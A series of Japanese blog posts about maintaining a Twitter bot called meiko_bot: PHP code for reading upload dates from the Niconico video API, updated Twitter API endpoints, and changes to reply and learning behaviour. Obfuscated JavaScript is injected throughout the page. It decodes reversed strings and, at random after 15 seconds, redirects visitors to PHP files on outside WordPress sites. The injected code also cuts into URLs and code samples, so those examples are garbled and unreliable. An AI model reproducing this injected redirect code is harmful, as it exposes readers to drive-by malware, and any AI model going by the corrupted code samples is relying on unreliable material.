meiko_bot 投稿時間の取得を失敗していたため修正

twitterで稼働させているmeiko_botの修正しました。

meiko_botはこちらです。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://twitter.com/#!/meiko_bot

ニコニコ動画で投稿された作品をRSSによるタグ検索で取得していました。
その中に投稿日時が入っていたのですが、出力される形式が変わっていて取得できなくなっていました。

XML形式で出力されていますが、タグの構造が変わっていたために取得元データなしの状態になっていたということです。

今回はRSSで出力される情報ではなく、ニコニコ動画が提供しているAPIから投稿日時を取得するように変更しました。
もともと動画のタグ情報をニコニコ動画のAPIから取得していたので対応は簡単。

APIでは、以下のようなURLによって、結果がXML形式で帰ってきます。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404″ target=”_blank”> http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404

こんなソースになります。
$nicoadは動画のIDになります。

$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;
$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);
$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);

結果は以下のような感じで戻ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上記の結果をもとに、投稿日時としてfirst_retrieveの部分を取得します。
ただし、「2012-04-21T18:22:50+09:00」のような形式にになっているのでmm月dd日 HH時mm分の形式となるように整形しています。
(固定長っぽいので、原始的に桁区切りで整形しています)

$douga_date = $nicoapi_xml->thumb->first_retrieve[0]; //投稿日時
$nico_regdate = intval(mb_substr($douga_date,5,2)).”月”.intval(mb_substr($douga_date,8,2)).”日”.intval(mb_substr($douga_date,11,2)).”時”.intval(mb_substr($douga_date,14,2)).”分”; //整形

テスト用のアカウントで動作確認。
0月0日0時0分になっていたのが、正しく表示されるようになりました。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

謝辞dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
正しく処理されていない状態になっていることを教えてくれた、かきにゃん@柿太郎さん、ありがとうございました。

追記dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
2012/4/22 10:14
meiko_botが投稿日時なしでつぶやいていたので、なんでかと思ったら、修正版をアップしてなかった。だめすぎるorz
今度こそ、アップロードしました。

meiko_botで自動フォローが正常に動いてない件(解決)、ほか修正

meiko_botを修正しました。修正内容は以下のとおりです。
・自動でフォロー返しされない件を修正
・自動でフォローしたときにリプライをするように変更
・鍵付きの人へ自動でフォロー返しをしないように変更
・ニコニコ動画でMEIKOに関する動画が投稿されたらツイートする方法を変更


自動フォローが正常に動いていなかった件ですが、TwitterのAPIが変更になったためでした。
以下のサイトの内容をもとに修正しました。

EDOスタイル: EasyBotter2.05が自動フォロー返ししない問題を解決する方法
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dostyle.blogspot.com/2011/06/easybotter205.html”>http://edostyle.blogspot.com/2011/06/easybotter205.html
・TwitterのAPIが変更されているために自動でフォロー返しする機能が動かなくなっていると書いてあったので修正。

1.フォロワー情報を取得する際のxmlのURLが変わっているので以下のように修正
 修正前
  http://twitter.com/statuses/followers.xml
 修正後
  http://api.twitter.com/1/statuses/followers.xml

2.フォローユーザの情報取得のURLも以下のように修正
 修正前
  http://twitter.com/friendships/create/~フォローする相手のスクリーンネーム~.xml
 修正後
  http://api.twitter.com/1/friendships/create/~フォローする相手のスクリーンネーム~.xml”;


あと、今回の件でしらべていたら、
このページを見ながら以下の機能を修正しました。
EasyBotter 非公式wiki – ver.2.0/応用/機能追加/reply
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www26.atwiki.jp/easybotter_wiki/pages/26.html#id_04ff8ffe
・鍵付きの人へ自動でフォロー返しをしないように変更
・自動でフォロー返しをした時にリプライを送るように変更


さらに、ニコニコ動画でMEIKO関連の動画が登校されていたらツイートする機能を修正。
取得する手順が変わったのみです。

<仕様変更前>
・最新の1つを取得して、前回と同じURLだったらツイートしない
<仕様変更後>
・最新から直近10件を取得して、その中でツイートしていないものがあれば、ツイートする。
・ツイートしていないかは、前回取得したURLをテキストで保持しておいて、比較することで判定

これで、動画が短時間に投稿されたことで紹介がもれることが減ると思います。

meiko_botを修正しました(ランダム発言の学習OFF)

予想を上回ってフォローしてもらえたのですが、フォロワーの発言を覚えてランダムにつぶやく内容に問題が多くなってきました。

そのため、フォロワーのつぶやきをそのままランダムにつぶやく機能をなくしました。
覚えた内容で文章を組み立てる仕組みは残しておきます。
ランダムで発言するものはMEIKOらしい発言を辞書に随時登録したいと思います。

MEIKOらしいBOTにはまだまだ遠い出来ですみません。

meiko_botのソース修正2

リプライで「フォローして」ともらうと、フォローする仕組みなんですが、なぜかたびたびそのリプライを拾ってすでにフォロー済みと発言してた。

ソースをみたら、サンプルの不具合ですね。
タイムラインでのツイートの時刻をみて、前回起動した時間より前のものは
無視するように修正。

あと、自分からリプライは出さないように修正。
リプライをもらったら、リプライするように修正。

あとは、色々と不具合とまではいかないけど、かなりおかしなソースだったので
修正しまくり。

http://が含まれているツイートは無視する仕組みだったんですが、正規表現がいまいちだったため、無視されないパターンがあったので、正規表現を変更。

今は10分に1回自動実行。
自動生成した発言が10文字未満なら発言しないようにしました。
(ランダムに固定の発言するようにもしてましたが、やめました)

リプライをもらった場合は、リプライ内容をもとにパターンわけをしてリプライするように修正しています。ただ、パターンにそくしてないとうまく動かないかも。
この辺りは、煮詰める必要あり。

meiko_botのソース修正

(1)フォロワーのツイートとでリプライかどうかで反応がわかれていないため処理を分岐。
    ・リプライの場合は、リプライ内容に従ってテンプレートで回答するように修正
    ・通常のツイートの場合は、今まで通りの処理
    リプライのときに自動で作成された文章などを変えると意味不明すぎるため、リプライでは
    テンプレートに従っての回答のみとした。
    リプライの内容も学習はするようにしています
(2)リプライされたときに@の後ろを消すが”_”の後ろが消えていなかったため正規表現を修正
(3)フォロワーのツイートを基に発言&学習するが、一度に反応する上限数を設定するようにした(とりあえず1回にしてみた)
    回数はリプライと共通だったが、別々の回数とした。
(4)フォロワーのツイートかリプライかどうかの判定用に渡される変数が異なっていたため修正(既存バグ)

まだ修正すべきところが残っているけど、地味に修正中です。
というか、サンプルの既存バグもちょろちょろあるな。